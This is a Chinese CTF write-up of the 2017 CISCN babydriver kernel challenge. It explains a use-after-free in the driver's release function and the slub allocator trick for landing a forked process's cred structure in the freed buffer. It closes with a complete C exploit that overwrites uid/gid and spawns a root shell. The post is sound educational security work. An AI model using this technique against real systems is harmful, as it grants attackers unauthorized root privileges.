• Linux kernel pwn (二):UAF


    前言

    昨晚刚刚学习完kernel的ROP姿势,趁热打铁,今天来学习一下Linux内核的UAF利用。

    题目相关处理

    本次学习是通过2017CISCN的Babydriver这道题。题目网上有,这里就不贴出链接了。

    题目文件

    将我们的文件解压

    mkdir babydriver
    tar -xvf ./babydriver.tar -C ./babydriver
    

    查看里面有三个文件:

    有文件系统镜像,启动脚本,压缩过的内核三个文件
    将我们的文件系统镜像解压,双击即可。

    发现里面没有以.ko为后缀的驱动文件。打开我们的init文件看看。

    发现有三点
    1.

    chown root:root flag
    chmod 400 flag
    

    chown root:root flag:表示修改文件的所有者和用户组为root,然后接下来chmod 400 flag,表示只有我们的文件所有者才有读flag文件的权限,这也证明了上篇博客所说的,我们需要读取到flag,就只需要获得root的shell即可。
    2.

    insmod /lib/modules/4.4.72/babydriver.ko
    

    根据内核pwn的套路,漏洞就出现在babydriver.ko这个文件,而且这里还给出了文件路径,所以我们需要去对应路径拷贝驱动出来分析。
    3.

    poweroff -d 0  -f
    

    对于第三点,这是一条定时关机的命令,一般我们需要把它删除,然后重新打包,以免影响我们的动态调试分析。
    这里我们把这一句给删掉,然后重新打包。

    find . | cpio -o --format=newc > ./rootfs.cpio
    cp ./rootfs.cpio ../rootfs.cpio
    

    保护的开启

    查看我们的启动脚本也就是boot.sh文件,发现开启了smep保护。
    再checksec一遍我们的驱动
    发现只开启了NX保护,而且还没有去除符号表。

    驱动逆向分析

    题目实现了babyopen、babyioctl、babyread、babywrite、babyrelease五个函数。
    其中babydriver_init和babydriver_exit基本上就是设置参数,初始化设备等等工作,这里不过多描述。
    首先查看一下定义了什么结构体:

    可以看到,这里定义了babydevice_t的结构体,里面有buf和len两个参数。
    open函数:

    ioctl函数:

    release函数:

    漏洞就是出现在我们的release中,在free的时候,没有把指针置零。
    对于read和write函数,主要是利用了copy_from_user和copy_to_user两个函数,往buf写东西或者读取东西,对于漏洞的利用没太大用处,所以这里不赘述。

    漏洞分析以及利用

    其实如果按照用户态pwn的思维来,这个UAF比较难利用,但是做内核pwn,我们要用内核pwn的思维去思考。
    由于baby_struct.device是全局的,因此只能存在一个,所以当我们open 2个设备的时候,第二次open的会覆盖第一次的,我们再释放第一次打开的,这时候第二次打开的设备也会被释放,就存在UAF,然后通过ioctl改变大小,使得和cred结构大小一样再fork一个进程,它的cred结构体被放进这个UAF的空间,然后我们能够控制这个cred结构体,通过write写入uid,达到getshell。
    关于说为什么申请通过ioctl,使得和cred结构大小一样呢,这个有关slab/slub分配器的介绍,这里引用一段别的文章的说明:

    这是一个比较大的内容,内核中也需要使用到内存的分配,类似于用户空间malloc的功能。在内核中没有libc,所以没有malloc,但是需要这样的功能,所以有kmalloc,其实现是使用的slab/slub分配器,现在多见的是slub分配器。这个分配器通过一个多级的结构进行管理。首先有cache层,cache是一个结构,里边通过保存空对象,部分使用的对象和完全使用了对象来管理,对象就是指内存对象,也就是用来分配或者已经分配的一部分内核空间。kmalloc使用了多个cache,一个cache对应一个2的幂大小的一组内存对象。
    slab分配器严格按照cache去区分,不同cache的无法分配在一页内,slub分配器则较为宽松,不同cache如果分配相同大小,可能会在一页内,这个点很重要,之后的exp会用到。
    通过我们对slub分配器的了解,相同大小的会被放在一块,现在我们来想想,一个进程的权限,是由什么定的?相信你们都知道,uid,uid又保存在哪儿呢?答案是cred结构。cred结构在每一个进程中都有一个,并且保存了该进程的权限信息,如果我们能够修改到cred信息,那么事情就很简单了。
    于是思路是,我们有了一个UAF,使某个进程的cred结构体被放进这个UAF的空间,然后我们能够控制这个cred结构体,通过write写入uid,万事大吉!
    问题是,如何控制cred结构?别忘了,相同大小的会被放在一块,我们首先通过ioctl改变大小,使得和cred结构大小一样,接下来只需要在触发UAF的时候新建一个cred结构,新建的结构就很有可能被放进这个UAF的空间里,创建方法嘛,每一个进程都有,那么,新建一个进程不就好了?新建进程嘛,fork就解决了。
    这里还有一点,就是我们需要知道该内核版本的cred结构的大小。

    所以,有两种方法,一是可以直接去看源码,计算大小,这里其实也可以写个modules去get到它的size:

    #include <linux/init.h>
    #include <linux/module.h>
    #include <linux/kernel.h>
    #include <linux/cred.h>
    MODULE_LICENSE("Dual BSD/GPL");
    struct cred c1;
    static int hello_init(void) 
    {
        printk("<1> Hello world!
    ");
        printk("size of cred : %d 
    ",sizeof(c1));
        return 0;
    }
    static void hello_exit(void) 
    {
        printk("<1> Bye, cruel world
    ");
    }
    module_init(hello_init);
    module_exit(hello_exit);
    

    或者直接去查看对应的版本的内核的结构体,手动计算大小:

    struct cred {
    	atomic_t	usage;
    #ifdef CONFIG_DEBUG_CREDENTIALS
    	atomic_t	subscribers;	/* number of processes subscribed */
    	void		*put_addr;
    	unsigned	magic;
    #define CRED_MAGIC	0x43736564
    #define CRED_MAGIC_DEAD	0x44656144
    #endif
    	kuid_t		uid;		/* real UID of the task */
    	kgid_t		gid;		/* real GID of the task */
    	kuid_t		suid;		/* saved UID of the task */
    	kgid_t		sgid;		/* saved GID of the task */
    	kuid_t		euid;		/* effective UID of the task */
    	kgid_t		egid;		/* effective GID of the task */
    	kuid_t		fsuid;		/* UID for VFS ops */
    	kgid_t		fsgid;		/* GID for VFS ops */
    	unsigned	securebits;	/* SUID-less security management */
    	kernel_cap_t	cap_inheritable; /* caps our children can inherit */
    	kernel_cap_t	cap_permitted;	/* caps we're permitted */
    	kernel_cap_t	cap_effective;	/* caps we can actually use */
    	kernel_cap_t	cap_bset;	/* capability bounding set */
    	kernel_cap_t	cap_ambient;	/* Ambient capability set */
    #ifdef CONFIG_KEYS
    	unsigned char	jit_keyring;	/* default keyring to attach requested
    					 * keys to */
    	struct key __rcu *session_keyring; /* keyring inherited over fork */
    	struct key	*process_keyring; /* keyring private to this process */
    	struct key	*thread_keyring; /* keyring private to this thread */
    	struct key	*request_key_auth; /* assumed request_key authority */
    #endif
    #ifdef CONFIG_SECURITY
    	void		*security;	/* subjective LSM security */
    #endif
    	struct user_struct *user;	/* real user ID subscription */
    	struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
    	struct group_info *group_info;	/* supplementary groups for euid/fsgid */
    	struct rcu_head	rcu;		/* RCU deletion hook */
    };
    

    EXP

    from sunxiaokong

    //CISCN2017-babydriver
    //sunxiaokong
    //gcc -static -o exploit exploit.c
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <stropts.h>
    #include <sys/wait.h>
    #include <sys/stat.h>
    
    int main(){
        int fd1 = open("/dev/babydev", 2);
        int fd2 = open("/dev/babydev", 2);
    
        // change the babydev_struct.device_buf
        // the buf_size = sizeof(struct cred)
        ioctl(fd1, 0x10001, 0xA8);
    
        // call babyrelease(), now we have a dangling pointer in fd2
        close(fd1);
    
        // fork a new process
        // the new process's cred will in the babydev_struct.device_buf
        int pid = fork();
        if(pid<0){
            puts("[T.T] fork failed !!!");
            exit(0);
        }
        else if(pid==0){
            long root_cred[4] = {0};
            // overwrite the uid, gid to zero
            write(fd2, root_cred, 28);
            // have a root shell
            system("/bin/sh");
        }
        else{
            wait(NULL);
        }
        return 0;
    }
    

    调试跟踪

    第一次open之前:buf和size全为0

    第一次open:给我们的buf赋值指针,给size赋值堆的大小

    第二次open:覆盖前一个的buf和size

    ioctl:free掉原来的堆,修改size位

    close:release之后并且修改我们新进程的cred

    ger root shell成功

  • 相关阅读:
    SpringBoot集成logback.xml日志配置文件找不到错误
    两个List集合如何去重,取交集,并集,差集
    分转元工具类
    Redis(二十九)PHP 使用 Redis
    Redis学习(二十八)Java 使用 Redis
    Redis学习(二十七)Redis 分区
    Redis学习(二十六)Redis 管道技术
    面试题
    Android 自动化测试
    Inner Functions
  • 原文地址:https://www.cnblogs.com/T1e9u/p/13823486.html
Copyright © 2020-2023  润新知